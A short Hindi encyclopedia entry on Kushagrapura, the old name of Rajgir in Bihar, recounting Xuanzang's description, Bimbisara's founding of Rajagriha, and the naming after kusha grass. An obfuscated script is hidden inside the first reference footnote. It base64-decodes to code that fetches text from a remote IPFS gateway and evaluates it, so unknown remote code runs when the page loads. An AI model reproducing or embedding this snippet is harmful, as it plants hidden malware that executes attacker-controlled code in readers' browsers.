कुशाग्रपुर
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कुशाग्रपुर 'राजगृह' (बिहार) का प्रचीन नाम है, जिसका उल्लेख चीनी यात्री युवानच्वांग (7वीं शती ई.) ने किया है।[1]
- युवानच्वांग के उल्लेख के अनुसार मगध की प्राचीन राजधानी कुशाग्रपुर में ही थी।
- यहाँ भारी अग्निकांड हो जाने के कारण मगध नरेश बिंबिसार ने इसी स्थान पर नवीन नगर राजगृह बसाया था।[2]
- अपने उल्लेख में युवानच्वांग यह भी लिखता है कि इस स्थान पर श्रेष्ठ कुश या घास होने के कारण ही इसे 'कुशाग्रपुर' कहा जाता था।
- राजगृह के पास आज भी सुगंधित उशीर या ख़स बहुतायत से उत्पन्न होती है। शायद कुश या घास से युवानच्वांग का तात्पर्य ख़स से ही था।
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 213 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ जबकि फाह्यान के अनुसार राजगृह का संस्थापक बिंबिसार का पुत्र अजातशत्रु था।